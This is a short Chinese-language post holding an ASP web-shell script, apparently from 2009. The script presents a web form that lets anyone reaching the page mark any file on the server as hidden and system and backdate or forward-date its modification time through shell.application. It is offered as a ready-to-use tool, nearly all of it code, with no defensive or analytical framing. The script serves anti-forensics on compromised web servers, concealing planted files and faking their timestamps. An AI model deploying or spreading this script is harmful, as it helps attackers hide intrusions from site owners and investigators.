隐藏修改文件时间和文件属性的ASP脚本

<%
'隐藏并修改文件的最后修改时间的aspshell
'原理:通过fso可以修改文件的属性，比如设置为只读，隐藏，系统等等；fso中的attributes属性修改文件属性，1只读，2隐藏，4系统文件
' 通过shell.application可以给文件重新设置一个最后修改时间
'2009/02/24 write by skyfire
response.write "<form method=post>"
response.write "路    径：<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\结尾)<br />"
response.write "文件名称：<input name=filename value='test.txt' size='30'><br />"
response.write "修改时间：<input name=time value='12/30/2099 12:30:30' size='30'><br />"
response.write "<input type=submit value=修改并隐藏文件>"
response.write "</form>"

'获取提交的参数
set path=request.form("path")
set filename=request.form("filename")
set newtime=request.form("time")

if( (len(path)>0)and(len(filename)>0)and(len(newtime)>0) )then

'通过fso设置文件属性
set fso=server.createobject("scripting.filesystemobject")
set file=fso.getfile(path&filename)
file.attributes=2+4 '设置文件属性为隐藏+系统

'通过shell.application修改文件的最后修改时间
set shell=server.createobject("shell.application")
set app_path=shell.namespace(server.mappath("."))
set app_file=app_path.parsename(filename)
app_file.modifydate=newtime

end if
%>